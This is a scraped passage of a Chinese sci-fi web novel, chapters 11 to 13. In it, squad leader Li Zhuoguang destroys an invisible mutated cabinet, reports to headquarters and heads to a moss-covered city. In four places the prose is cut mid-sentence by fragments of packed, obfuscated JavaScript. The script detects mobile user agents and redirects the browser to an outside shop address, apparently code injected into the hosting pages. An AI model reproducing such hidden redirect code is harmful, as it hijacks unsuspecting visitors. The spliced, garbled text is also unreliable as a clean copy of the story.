l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14026451|148774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你们那么多书都读到猪脑袋里去了?” 李琢光八风不动地站在原地,目光沉静而微带笑意地回视着安保。 “哈。”张娇骄冷笑一声,“视频过了半小时才发过来,谁知道视频是真的,还是ai制作的?” 李琢光脸上的笑意愈浓。 安保的眼皮颤了颤,他看起来刚忍住一个白眼:“我说了,调监控是需要排队的,你当那些领导什么都不干就整天等着谁申请调监控吗?” “是啊,当初喊停六十二号实验室的联名信也是这样,压着不回复。”说话的人竟是丁柠。 也许大家都没想到丁柠会如此鲜明地站队,而当事人似乎不曾察觉什么不对劲。 “问就是工作忙,任务排队,谁知道真假呢?” 丁柠的职位一定很高,因为她一开口,安保全都偃旗息鼓,转身再去汇报。 李琢光的视线与丁柠于空中交汇,她满脸复杂,丁柠却朝她笑了一下,指了指自己的眼睛,然后又晃了晃空无一物的手腕。 身边的研究员纷纷散去,时间开始加速,解决复制体与异种被顺利提上日程,只有李琢光站在原地一动不动。 丁柠骗了她。 李琢光意识到这点。 怪不得幻境中的一切会这么顺利。 研究进度很快,她们分析出包裹复制体柜子的土壤前后缺少一项θ-3709-1的土壤中特有的疏铁稀有元素,3709-1-Fe+。 而3709-1-Fe+这个疏铁元素能够有效间隔开辐射中含铁成分与柜子本身,得以抑制复制[注]。 恰好,有好几个实验室都是负责研究3709-1-Fe+是否有应用于武器的可行性,李琢光因此顺到了一把疏铁枪和子弹。 在她拿到疏铁枪的一瞬间,身周景象天旋地转。 仿佛忽然有一张夜幕从空中坠落笼罩住她,身边闲聊天的声音戛然而止。 头顶的灯亮起,照亮周围满是灰尘的空荡实验室。 她回来了。 李琢光护目镜上弹出新消息提示,是芮礼给她发来的。 「已破译成功,可发送坐标。」 李琢光:「不必。」 「脱出空间了?」 「判断错误,不是空间,是幻境。」 「柳一失踪了,很可能是进去找你。」 「好的,我会关注。」 「需要支援吗?」 李琢光想了想:「可以,昙起云。」 昙起云的异种是傀儡留声机,可以将任意生命在濒死时制作成唱片,成为他的傀儡。 每张唱片随时可以召唤,但只能使用一次,如果用留声机本体召唤,傀儡的能力可以提高十倍。 李琢光选择昙起云的理由并不是他的异种好用,而是因为他胆子小,辐射波动就大。 根据他的辐射变动,更容易吸引变异的柜子。 观千剑和陈戊把昙起云送到研究所门口,这个又是寸头又是花臂的男人缩着脑袋抱着枪,闷头冲到李琢光给定的坐标。 “李队!” 李琢光百无聊赖地踢地上的碎石块玩,听到声音一抬头,就看到一个开着全身环绕光亮的人冲过来。 李琢光眯眼:“……” 人影跑近,他把身上的光关掉,终于让李琢光看清他的脸。 她刚想让昙起云跟着走,视野中闪过了什么,招手的动作便转成了停下。 昙起云停在原地。 李琢光在唇边竖起食指,做了一个手势。 「你的身后有东西。」 11. 地质研究所(完) 在昙起云身后,走廊的正中央,孤零零地立着一个四四方方的储物柜,玻璃和抽屉像一张抿着唇的脸。 只是干干净净的玻璃上有走廊中闪烁灯光的倒影,有实验室大敞房门的倒影,独独没有她们二人的影子。 昙起云背梁挺直地站在原地,面无表情,看着相当冷静,但李琢光知道,他不动不是因为不怕,而是因为他一身都麻了。 李琢光又做了两个手势。 「动一下。」 男人小幅度地转转腰腹。 李琢光的目光始终落在他背后不远处,凝重得能结成实质。 那个柜子没有任何反应。 看着李琢光不太轻松的神色,昙起云觉得自己的心脏快要从喉咙口跳出来了。 「动作幅度大一些。」 男人咬紧牙关,强装镇定地招了招手。 李琢光的眉头越发皱得深了。 「过来,慢。」 昙起云屏住呼吸,踮着脚尖走过来,像是害怕打扰到什么东西的睡眠。 「快一点。」 男人加快速度,三两下就跨越了二人之间的距离,走到李琢光身边。 他深吸一口气,鼓起勇气回过头,走廊与他第一次来时一样,阒然空旷,没有他想象中的怪物。 但李琢光仍未放松下来,她紧紧锁定着正中央,昙起云循而看去,左看右看,也不知道自己需要看到什么。 「那里有什么?」 他直接打手势问。 李琢光睨他,那目光中似乎并无意外或害怕,好似她早就知道昙起云看不见,如今只是再行确认。 「你看不到?」 昙起云摇头。 ——他看不到,那么他就不能拿着疏铁枪用以攻击,只能当诱饵。 李琢光先让昙起云召唤辐射鼠,这是他专门养来当冲锋兵的。 老鼠在地上左嗅右闻,时不时抬起脑袋四面看看,似乎有些迷茫。 少倾,它才在昙起云的催促下慢吞吞地找寻辐射的来源。 它兜兜转转,对于辐射来源非常疑惑。 ——这里好像更香一些,但那里也很浓郁,爬了两步出去,还是觉得相反方向的更好吃一些。 二人就看着这只灰黑色的老鼠在宽阔的走廊里来回转了好几圈,最远的一次也不过走了三四米远,甚至都没到达昙起云先前站立的位置,最终还是爬回昙起云的脚下。 昙起云恨铁不成钢地用脚将老鼠归到一边。 他与李琢光短暂地眼神对接,快速地做了几个手势,根据李琢光的回答,他确认了他看不见的那东西在哪儿。 他弯下背,磨了磨牙,身周空气流动暂停一瞬,随后,以一种肉眼不可见的细密频率震动荡开。 落在李琢光眼里,她看到矗立在正中央的柜子荡漾起一阵水波纹,而当波纹弥漫到最大时,那粒被投入这片宁静湖泊的石子忽而从水波中心倒放般浮出水面。 耳麦中昙起云的呼吸声重了,他举在半空中的手臂无端颤抖。 李琢光伸手握住了他的手腕,食指在他腕骨处轻敲了两下。 「别怕。」 昙起云将身体压得更低,释放出的辐射信号也愈发浓郁,那只被他扫到一边的辐射鼠也贴上了他的鞋边。 那粒石子是透明的,在飞跃空气时,透过它看到的景象却都被扭曲。 就在它即将命中昙起云额头的前一秒,一切在瞬息间消失不见。 而昙起云缓缓直起身子,手指无意识地蜷缩起来,回过头来时,眼神中尽是清澈与迷茫。 他张了张嘴,好像有点奇怪为什么李琢光抓着他的手腕。刚想说话,反应过来什么,才迟钝地打了几个手势。 「有效果吗?」 李琢光松开手,还以为他是完全忘记自己刚刚做了什么,看到这句询问还愣了一会儿,才用手势回答。 「有。」 「你怎么抓着我的手?我刚刚不稳定吗?」 「没有。」李琢光斟酌着要怎么告诉昙起云。 他平时就是队里辐射波动最大的人,说得好听是上限很高,说得难听就是容易失控,还会记忆断截。 现在和他解释这个太麻烦了,就暂时让他这么想吧。 所以她转而问道:「你刚刚有看到什么吗?」 昙起云毫不犹豫地摇头。 芮礼像是知道李琢光想问什么一般,心有灵犀地在耳麦中说: “昙起云的辐射波动并无异常,处于正常使用的范围内。” 只是低了一下头的功夫,李琢光再看向柜子时,总觉得它变得更近了一些。 她眸色冷了几份,凝目估算距离。 护目镜没有用,检测不到那个柜子的存在。 她微微调整姿势,握紧手中的疏铁枪。 和她刚进入那个幻境时一样的情形,身上的器械都无法确认那里有东西,现在昙起云也看不见。 只有自己能看见。 就好像她已经疯了一样。 李琢光检查了枪中的子弹储存,是充足的,有整整十颗。 如今唯一不确定的只有一枚子弹能对它打下多少伤害。 ……就算打不死,她也只有这一把武器了。 根据李琢光的指示,昙起云放出一个与他等身高的伪人傀儡。 在磕磕绊绊地复制出李琢光的面容与身体后,它双腿与身体扭成一道麻花,尽力自然地向昙起云指示的方向走去。 玻璃上的倒影没有伪人。 那个柜子并无动静,安静到让李琢光都快以为它的移动真是自己的错觉。 伪人的动作没有任何停顿,而柜子也像是完全不存在似的,让它步子稳稳地落在柜子里面。 它仍在走,而被拨开的铁门在几息后合拢,包裹住它的小腿。 铁色顺着小腿蔓延而上,而伪人依然无所感的模样,僵硬地迈出另一条腿。 下一秒,以伪人小腿为开口,柜子猛地张开一张金属大口,光滑的内侧爆出无数密密麻麻的尖锐牙齿。 昙起云浑身冷颤一下,而早已端好枪瞄准的李琢光干脆利落地扣下扳机。 加大的黑色子弹犹如一条巨龙破空而出,只是瞬霎便擦过伪人的手臂,正中金属大口的正中心。 那子弹穿过柜子时发出撕心裂肺的割裂与火药烧灼声,而后毫无预兆地当场炸开。 昙起云往后跳了两步,躲开因被炸飞而突然出现的金属碎片,满眼惊恐地疯狂对李琢光打手势。 「哪儿来的啊!」 他的手速快到像结印,但李琢光只是平淡地扫了他一眼,未置一词。 烟雾散尽,伪人傀儡躺倒在地上死生不知,而柜子中间多了一个巨大的窟窿。 李琢光耳边响起一种低沉却高频的杂音,她身边的昙起云几乎是立刻痛苦地弯下腰,膝盖打着颤,很快就一软跪倒下去。 耳机里芮礼高声而急促地喊了一声什么,李琢光没有听清。 她半蹲下去查看昙起云的状态,将他翻过一面来,就见他脸涨得通红,双眸被红血丝充斥,虹膜都染上血色。 他一张嘴,口中就溢出血沫。 李琢光将他推到一边,让他自己就着力气滚远。 她一直用余光注意着柜子,因此在柜子吐来两根金属尖锥时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14026452|148774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她马上旋身,手臂上金属化模块启动,尖锥与手臂相撞,发出一声清脆的碰撞声。 李琢光只觉得双手发麻,然而根据护目镜上的数据测算,方才的速度和重量都无法带来如此大的力气。 然而手臂上的麻意不减反升,她赶紧关闭金属化模块。 像是闷久了的肌肤终于透到气,手上的感知这才逐渐恢复。 她举起枪瞄准对方。 琥珀色的眸子专注地盯着柜子上方的一点,周遭景象逐渐变得模糊而远去。 金属大口鼓动着,如同蜘蛛网般的纹路在破洞边缘编织,似在自愈。 随后,它又张开嘴巴,几颗牙齿似的尖锥被它吐过来。 这一切落在李琢光眼中全数放慢速度,她扣动扳机,在快速而细微地调整方向后,再次扣了一下。 子弹精准地从那几只尖锥中穿过,凛冽气流避停尖锥往下聚拢,触碰到后到达的子弹尖,瞬间炸开,登时碎片横飞,下一秒,又传来一声爆炸声。 李琢光就地一滚躲过碎片,就势趴到昙起云身侧,替他挡去飞溅来的碎片。 昙起云的目光动了动,仿佛用了十一分力气才移向李琢光防护服上那被划开的一道小口子上。 “别……” 他想说什么,但是李琢光完全没理他,飞快地翻身站起,重新端好枪,瞄准尘土中央。 密集的尘土完全遮盖,那已有神智的柜子似乎并不想要尘土消散,而需要以此遮盖。 她找了几个大块的碎片遮住昙起云,绷紧神经,闷头冲进尘土之中。 前方传来呼啸飞射声,李琢光瞬息间判断好来物的位置与方向,侧身躲过。 她小心谨慎地从旁绕过。 又是几声劈空嘶啸,但方向完全相反,最终钉上了墙壁。 李琢光听着柜子发射尖锥的声音判断位置,放轻脚步摸到柜子背后,对着那模糊的轮廓抬起枪口。 “砰——” 离爆炸点太近,李琢光有些耳鸣与恍惚,扶着墙站稳。 眼前的迷雾散了干净,碎片被炸得四散,地上只残留一块边缘烧焦的金属片。 李琢光走上前。 她其实也不太确定这如何才算死了,便从枪里退出两枚子弹,摆在金属片旁边,先去将昙起云背回车上再说。 她小心背起昙起云,男人脸色似乎缓了一些,有力气环住李琢光的脖颈了。 到了车上,驾驶座的门半开,陈戊半跪在地上喘气。 李琢光先把昙起云放到后座,再扶起陈戊,让他一起坐到后排。 观千剑靠在副驾驶座位上闭目养神,会回应李琢光,看起来状态最好。 她又匆匆回去捡起子弹和金属片,在某一间实验室里发现了浑身冷汗的柳一,以及他都快失去意识了还是没松开触手里抓着的、有黄色眼睛的怪物。 “我真的没有用异能。”柳一有气无力地解释,“相信我。” “我知道,你先别说话。”她扶着柳一出去。 丁柠的异能不是完全掌控异能,她才是那个幻境异种。 她说了很多秘密,李琢光需要把人情还给她。 把丁柠带回去,打一个她仍有理智、还知道研究所秘密的报告,就是她在职责内能为丁柠做的唯一一件事了。 她开着车回到飞船,打开飞船门后,再一个个把人抱进飞船。 听到动静,芮礼也出来了。 李琢光把人都带进来关上飞船门,回头看到芮礼坐在轮椅上,是单薄而苍白的一捧雪,眼神干净而平静。 丁柠说的话在她耳边响起。 「我只想提醒你,小心芮礼。」 12. 晴山总部 “我听到了一种声音。”李琢光垂眸,检查几位队友的状态。 几人都已逐渐恢复,最严重的昙起云也能撑着地面坐起来喘气了。 “我还……看到了一点东西。”她抬头,飞船内的冷光恰好照在她的眸中,被海洋般的沉寂剪碎。 “什么?”芮礼不偏不倚地与她对视,双眼有些凹陷,因方才噪音浮起的血丝正在淡去。 “等会儿去房间里说。”李琢光抿了抿唇,她还是不想在别人面前提起这个事。 芮礼点点头,例行公事地向她汇报总部先前给的回复,并按照李琢光的要求将那片金属片收起来。 在递交金属片的时候,李琢光仔细观察了芮礼的表情。 但芮礼却是一如既往的淡然。 芮礼一直是这样的性子,自己的工作会做到最好,但与她无关的事情不会多给一个眼神。 当初芮礼冲进李琢光家里,把她从空酒瓶堆里拽出来时,是她见过芮礼情绪起伏最大的一次。 怀着这样那样的心思,二人完成了对总部的简短汇报,然后启动了飞船。 进入无人驾驶模式后,芮礼解开安全带,对李琢光说:“走吧。” “走去哪儿?”完全恢复活力的昙起云啃着炸土豆条,好奇地伸长脖子。 “和你们无关。”李琢光说。 她们二人走进芮礼的房间,关上房门后,芮礼转过身来问:“你想和我说什么事?” “1023年中你在这里的地质研究所工作过?你从来没和我提过。”李琢光单刀直入。 她设想了许多种芮礼的反应,心虚的、大方承认的,但眼前这个蹙眉疑惑的真不在她的预设之内。 芮礼一副完全不知道李琢光在说什么的表情:“我没有在这里工作过。”她挑了挑眉。 “你怀疑我骗你?可是我每到一个新研究所就会给你打视频,如果我真来过这里工作,你也会知道。” 对……是这样的…… 芮礼不仅会把研究所的牌子拍给她看,还会在视频中和她一起逛这个陌生的星球。 只是,的确,平时回忆的部分通常都是李琢光最喜欢的星球。 一个太阳朋克风的城市,和一个有些克苏鲁风、居民都是顶天立地的黑色雾气聚集体的城市,她基本没有从头到尾重顾过一遍。 现在再回忆,她发现她自己都无法想起银河纪元1023年那一年中——芮礼前往地质研究所那段时间——她的工作地点。 “不过,你这么说我倒是也觉得有点奇怪了。”芮礼话锋一转,沉下眉目思索,“我也想不起来那段时间我在哪、做什么了。 “或者说。”她转动脖子,“我前一段工作和后一段工作之间的记忆是连贯的。” “我也是。”李琢光坐到芮礼的床边,说完这句就沉默了。 飞船在无垠的宇宙中行驶,将斑驳陆离的星球远远甩在身后,留下一片银白的虚影。 她想到之前昙起云分明见到柜子了,可是一段时间后,他又完全忘记了。 显然,芮礼也是受到那死物异种的影响。 “请教一下有异能者的常识。”她重新开口打破沉默,“一个——呃,异种?大概算异种吧,有可能拥有三种以上的能力吗?” 她这么问是因为有部分十级异种就是掌握着两种异能的,但目前没有记录在册的三异能。 芮礼已经给她解释过无数次,但还是耐心地说:“异能者调控异能的依据是体内的π+激素,激素分泌越高,所能调控的异能越强,辐射波动也越大。 “这个激素在平静时是可以人为控制流向和分泌浓度,但使用时无法控制使用的量,所以你经常会看见被异能抽空身体的死亡事件。 “这就是为什么双异能异种一经发现就会立刻被划为十级的原因,因为这意味着她们体内激素的最大容量是单异能的双倍,平均量也是双倍。” “所以双异能的异种本身就游走在理智崩溃的边缘。”李琢光总结道,“三异能的就算有也只会是怪物。” 而且是她目前为止不可能杀死的级别。 芮礼坐到李琢光身边:“刚刚研究所里的是什么怪物?” 李琢光深深看了她一眼,说:“我也不知道,等回去以后问问霍总。” * 回到晴山总部的时候已经是三天后了。 刚落地柳一和丁柠就被带走,李琢光亲自拿着金属片和疏铁枪、子弹直奔中心大楼顶层。 李琢光的队伍等级评级虽然一直被卡在七级,但七级以上的队长都有一次紧急情况直接汇报顶层的资格。 她等不及时间,更害怕中间被他人经手后又被无声无息地压下去。 所以她直接使用了这次机会。 当她把东西放到圆桌上,看向桌边一一连接上来的全息投影时,才终于松了口气。 她将在地质研究所的一切托盘而出,边说边审视着每一个人的神情。 ——不过,也不愧是掌管这巨大集团机器的管理者,无人露出明显惊讶或不信任的神色,倒是有几人隐晦地对了对视线。 等她汇报完毕,办公室中就陷入沉默。 “李琢光同志。”坐在最高位上的女人双眸沉沉,兴致缺缺地看着桌子上的金属片,“我们会重视这一现象的,感谢你的汇报。” 话音刚落,就有安保走进来将她们几人请出去,那些全息投影纷纷站起,向女人鞠躬,然后关闭了投影,退出会议。 李琢光急着想解释,又不敢真的挣开安保的桎梏,毕竟她已经打算去把辞呈偷回来了。 最后她只能眼睁睁看着大门在自己面前合上。 李琢光不甘心地被芮礼半拉半推地往后离开,但她们没走出去多久,就有一个身着硬挺西装的男人走上来。 这是最高指挥官的秘书。 他向几人鞠了一躬,面上挂着和善而形式化的笑容,对李琢光说:“李琢光同志,请稍候片刻。” 他转向李琢光身后的人:“但是九三零小队的各位请移步九十九层稍候片刻。” 李琢光眼睛亮了。 有了她的指示,四位队友都乖乖地跟着安保下楼,而她与秘书重新回到办公室门口,等候了片刻,门果然自动缓缓开启。 秘书礼貌地向李琢光点点头,离开了。 * 在霍总指的介绍下,李琢光终于了解了目前的情况。 一开始只是闹鬼传闻,但霍总指在诸多案宗中敏锐地察觉到一丝不对劲,便动用自己的心腹偷偷调查。 实地调查的心腹说自己最近总觉得哪里很奇怪,于是征得霍总指同意后,直接向她文字传输相关的消息,由霍总指亲自上传最高保护级别的中枢保险柜。 一段时间后,霍总指再去查看,发现自己的记忆和其中的记录是对不上号的。 但那些东西一旦取出保险柜,就会慢慢地变为她记忆的版本。 霍总指现在能记得这件事,纯粹是因为她把文件复制了几千万份,每天定闹钟去翻看一边保险柜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14026453|148774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的文件。 她揉着太阳穴说:“实验室的人也是仅止于调查处π+激素和辐射波动的变化,像你这样能记得三天的从来没有过。” 李琢光其实见过很多次霍总指,辐射刚发生时,她被误认为是免疫辐射,所以经常出入这里抽血做实验,与霍总指见过许多面。 她跟崇拜霍听潮,因为霍听潮曾经在队友都死光的情况下,孤身绞灭暴动的怪物巢穴,安全地把队友的尸身带回晴山。 她并不紧张,脑子转得飞快:“会不会那些东西就是通过影响π+激素来影响记忆呢?因为我虽然不会有辐射波动,但我还是会受辐射影响,出现头痛等不适。 “我与你们唯一质的区别就是π+激素。” 霍总指倏地抬眼,冷冽眸光钉在李琢光身上:“……对,π+激素。 “听说你要辞职了?”她微微直起身,似乎想让自己的表情看上去柔和一些,但是由于习惯了冷硬的神情,反而显得像在威胁,“不知道你愿不愿意考虑一下,留在我手下,我不会亏待你。” “当然!”李琢光异常坚定地点头。 “很好。”霍总指并不意外,“我看过你的履历,你非常优秀,在身体未曾变异的情况下也能在清剿队长考核中排名第二十一,我相信你肯定能完成我的任务。” 李琢光的嘴角控制不住地上扬,她挺胸抬头,利落地行礼:“当然!” “现在π+激素浓度对记忆的影响都集中在正向相关,我会让实验室那边先研究一下反向影响。” 霍总指一挥手,旁边的柜子就自动打开,有个金色的徽章飞出来。 她将徽章扔给李琢光:“以后想来找我,给安保看这个就可以了。如果我又忘记了,给我看这个我就明白了。” “属下收到!” 李琢光觉得今晚她要兴奋得睡不着了。 从霍总指那里离开没多久,李琢光就收到了部门转换的通知。 当时她正与队员们一起在餐厅里吃午饭,队员们也收到了通知,昙起云直接从座位上弹起来:“哇!哇哇哇!我怎么成霍总指直属了!” 观千剑关闭终端,又打开终端,来来回回好几次,才终于确认自己没有看错:“直属!” 陈戊整个人仿佛已经人魂分离了:“真的……真的霍总指……” 芮礼也难得露出一丝轻笑,她刚想说什么,餐厅外便传来杂乱的吵闹与尖叫。 她低头一看手表,一句“好像有异种暴乱”还没说出口,李琢光早就从不知道哪里拽出制服外套冲出去了。 她们早就习惯了李琢光在各种奇怪的地方塞着制服外套,以保证在出现紧急情况时可以立刻上前解决。 几十年来,就没遇到过第二个和李琢光一样热爱工作的人。 过了十多分钟,李琢光悠闲地吹着口哨回来了。 芮礼咽下口中的生菜,问:“怎么样?” “六级异种,我都没怎么使劲就倒下了。”李琢光看起来很开心,“已经通知分部带回去了。” 她伸了一个懒腰:“饭后运动,长命百岁。” “最近异种暴乱变多了。”芮礼说,“有场风暴要来了。” * 明亮整洁的木质地板上整齐地排列着一朵朵野花,最左侧的花已经有些焉了。 体型巨大的男人蜷缩成一小团,第三千六百五十遍默数花瓣的数量。 数完这一遍,他的耳朵突然动了动,身侧平静的触手向他身体虬曲,亮晶晶的眼睛紧盯着门扉。 13. 青苔城市(一) 他听到外面传来模模糊糊的谈话声,过了几分钟后,那张熟悉的面孔就出现在门上的小窗里。 柳一笨拙而小心翼翼地用指腹捏着花茎放到手心里,听到刷卡进入的声音,他有些急了,额头上冒出密密汗珠。 “这是什么?”李琢光走到他身边,盘腿坐下。 “是花。”柳一太想抓紧时间,好几朵花茎被他捏断,李琢光想帮他却被他阻止。 于是她看着他将一朵朵花都整齐排列到手心,包括被他捏碎的,然后他将手心递到李琢光眼前,脸颊浮现一抹红晕: “这是出任务之前没来得及给你的,我一直很乖,没有失控,没有随便发脾气,也没有给工作人员添麻烦。” 他勾着嘴角,湿润澄净的眼眸专注地看着李琢光:“她们带我出去兜风,我每一次都会给你摘一朵花。” 柳一垂下长而浓密的睫毛,有些委屈地解释:“但是我一开始控制不好力道,所以总是会把花捏碎,我好不容易攒下了这六朵。 “今天……你可以多陪陪我吗?” 她郑重地把花朵收起来:“当然,我应该会有一个很长的假期。” “那你今天想做什么?看电影、打游戏、还是——”他身体中伸出的触手伸到远方架子上取下游戏卡带盒和游戏机,或是打开电视。 “看电影吧。”李琢光隔空点选历史记录,“把上次没看完的先看完。” “好。”柳一应了,背后伸出一条毛茸茸的松鼠尾巴,卷曲成一团,让李琢光能舒舒服服地靠着。 柳一是李琢光在某一次联合任务中解救出的「实验品」。 当初那个实验室私下进行违规的人与其她生命体融合的实验,大多数人都死了,柳一是少数幸存下来的。 他本身觉醒的异能等级最高,身体素质最好,也就被折腾得最狠。 他体内被植入了上百种动物基因,上千种硅基、磷基生命基因,几乎所发现的基因种类都植了个遍。 最后只有少数几种成功了,触发排异反应时,他体内的π+激素就会飙升。 他的异能是模仿一个正在使用的异能,并且可以吸取对方体内分泌的激素。 本身就是容易失控的异能,更不要说加上排异反应了。为了保证他不会死,实验室通过简单粗暴的换血降低激素浓度。 在李琢光发现他时,他已在崩溃边缘。 如果发现他的人不是李琢光,他早就因理智崩溃而被击杀了。 只有李琢光在他身边,只有李琢光为他担保,他才有活下去的机会。 但从小在实验室长大、被和动物关在一起的柳一无法理解如此复杂的事。 他只知道待在李琢光身边他就很舒服,如果伸出章鱼触手,他的触手就会莫名其妙搅作一团。 李琢光在没有任务的时候每天都会来陪柳一,虽然从某种程度上来说是柳一陪着她。 这样平淡的日子过了三天,第四天时李琢光突然被一通电话叫走。 柳一不知道霍总指是谁,但他讨厌这个人。 过了大约三小时,李琢光才回来。 不过那时候也快接近保护所关门时间,李琢光在匆匆告别前问了他一句没头没尾的话:“你想出去吗?不过只能跟在我身边,不能离开我太远。” 后面李琢光说的什么任务啊、异种啊,柳一全没心思去听,他脑子里只剩一句“跟在我身边”。 出去等于可以一直待在李琢光身边。 “想!”他毫不犹豫。 于是两周后,九三零飞船上,李琢光的队友们对着一脸无辜的柳一面面相觑。 昙起云小心翼翼地凑近李琢光,低声问:“怎么把他放出来了?” “霍总指说需要一个就算没有记忆也会百分百听我话的人。”李琢光答道。 观千剑是看柳一最不顺眼的,她站在最远的角落里,冷声说:“那他要是失控怎么办?” 李琢光指着他脖子上的金属环:“只要他体内的激素水平超过一定浓度,颈环就会立刻爆炸,让他身首分离。” 按照霍总指手下的研究,结果证实了π+激素可以控制记忆神经元,也就是说,死物异种是通过影响生命体内的激素浓度来控制生命忘却特定的记忆。 由于已有相当多的文献证明辐射后生命的记忆会变好,所以这一结论并非创造一个全新方向。 但要立刻制造出免疫该种影响的仪器还没有这么快,霍总指只能先给了她们一些激素抑制手环。 这本是为了防止失控,现在死马当活马医,至少比什么都没有好一些。 在有了浅显的抑制手段后,能将死物异种这一概念留在脑海里的研究员能更方便地研究相关情况,调查员也能有针对性地去找寻死物异种。 李琢光顺便给霍总指提了一个建议—— “就我目前的了解来看,死物异种是会通过某种介质影响激素分泌,比如凤凰座θ-3709-1的柜子是用音波。 “所以我猜想可能总部内也有死物异种。” 霍总指表示了解,她会放在心上的。 现在刚开了一个头,排查死物异种还只能用最笨的办法——通过筛查闹鬼传闻一一确认。 而为了保护唯一能直面死物异种、且有杀死经验的李琢光,霍总指原本不想给她指派任务。 但李琢光自己不想闲着。 请求霍总指允许和与队员商讨后,她选了一个十级任务。 「青苔城市」。 这是一座完全被青苔覆盖的无人城市,位于行星猎户座α-10877,宜居,曾有过类人文明,但已灭绝。 城市内无异种,文明无违规实验记录,研究所以净化水质、土质等为研究主题。 一开始这只是一个二级任务,等级高是因为需要搬运的仪器过多,所以通过提高等级多给点报酬。 这个任务由一支经验丰富的一级小队承接,但她们出发后,却没能回来。 所有外勤人员会随身佩戴隐形相机记录任务过程,任务完成后随任务档案归档,只有出现意外时才会去观看。 总部的任务管理部在小队了无音讯二十四小时后查看了上传成功的部分视频。 视频中,一队人有说有笑地搬运仪器,一边还讨论猜测着这些仪器之前是研究什么的。 “我说,这东西好重啊,比我以前搬过的所有植物分解仪都重。” “我觉得这里的仪器都巨重。” “是不是因为青苔太多了,我老觉得呼吸困难。” “你是不是忘开氧气循环系统了?这里大气含氧量才9%。” “没啊,我开着呢,好奇怪,你们没觉得吗?” “还好。” “话说,资料里有说过这儿的文明为什么会灭绝吗?不是宜居的来着。” “会不会是有没发现的异种?不是,别用那种眼神看我,我开玩笑的!” “诶,我怎么记得我们上来的时候这个走廊里没有青苔来着?” “你记错了吧,一直都有的,不然怎么叫青苔城市——小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14026454|148774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心地滑。” “前面苔条挡路了,烧掉一点。”编号为十七的录像人员说,他的录像镜头上下动了动,似乎是把扛着的仪器颠了一下。 前方一个白色的身影举起手,自那人手心酝酿出一团火焰。 从门上垂下的柳枝似乎很怕火,火焰一靠近,那柳枝就像含羞草被触碰时一样向内卷曲。 火舌舔舐柳枝,很快攀着那绿叶顺枝条而上,火势蔓延,将门扇上的青苔与枝叶都烧成一片焦黄。 挡路的障碍被清扫,镜头继续往前,下楼、下楼、转过拐角,队员们开始商讨晚上打算吃什么…… 然后镜头突然黑了。 将其她记录视频都同时播放,因此发现它们都在同一时刻黑屏。 记录戛然而止。 最初发现团队被团灭时,任务被鉴定为可能存在异种,并派了一支八级小队探查。 但是这支小队的执行记录也是突然黑屏结束的,与此同时,在晴山人口监测中,属于她们的芯片完全暗淡下去。 至此,该任务升为十级。 十级小队大多都有自己专门攻克的目标,需要准备很久,于是这一任务被彻底搁置。 霍总指将这一任务交给李琢光,也不是为了让她这一次就杀死可能存在的死物异种,而是希望她能前往确认一下,变异成怪物的究竟是生物还是死物。 允许柳一前来,也是为了能最大限度保护李琢光。 霍总指没放在明面上说,但李琢光知道,霍总指的意思是: 谁都可以死,只有李琢光必须回来。 芮礼对此下定论:“就当去度假了。” 前往猎户座α-10877的路上,芮礼和陈戊整理了那两支队伍的执行记录中所有可能成为线索的细节,然后给每个人发了一份。 “李队,你觉得这里有可能有那什么,死物异种吗?”昙起云翻着资料,“说起来真神奇诶,在凤凰座那里我真的对走廊里的柜子完全没记忆!” “可能吧。”李琢光也不敢把话说死,尽管她心里觉得大概率就是了,“我当时还以为是我疯了。” “我们发现死物异种只能依靠你的眼睛吗?”坐在驾驶位上的芮礼转过椅子,面向大家,“如果连仪器都会失灵的话。” “我猜——”李琢光思忖着,“仪器失灵是因为所有仪器中都植入了异能基因数据,为了异能能顺利运行,需要充入人工π+激素。 “由于有激素存在,所以处于死物异种可以影响的范围。” 芮礼倒不这么想:“不过我倒是觉得我们看不到不一定是因为仪器失灵,昙起云当初护目镜没有起作用的时候也看不到。 “那个死物异种影响π+激素应该不止回影响记忆,还会影响视觉、听觉、嗅觉,乃至触觉。” “死物天生拥有这种大范围影响?”李琢光不太理解,“那如果没有我,不就——” 啊,原来如此。 所以柜子倒影里的「人」会说星际所有生物都会灭绝。 芮礼没有追问李琢光未竟之语,而是重新专注于航线。 飞船在星球上着陆,那宏伟的青苔城市矗立在地平线的尽头。 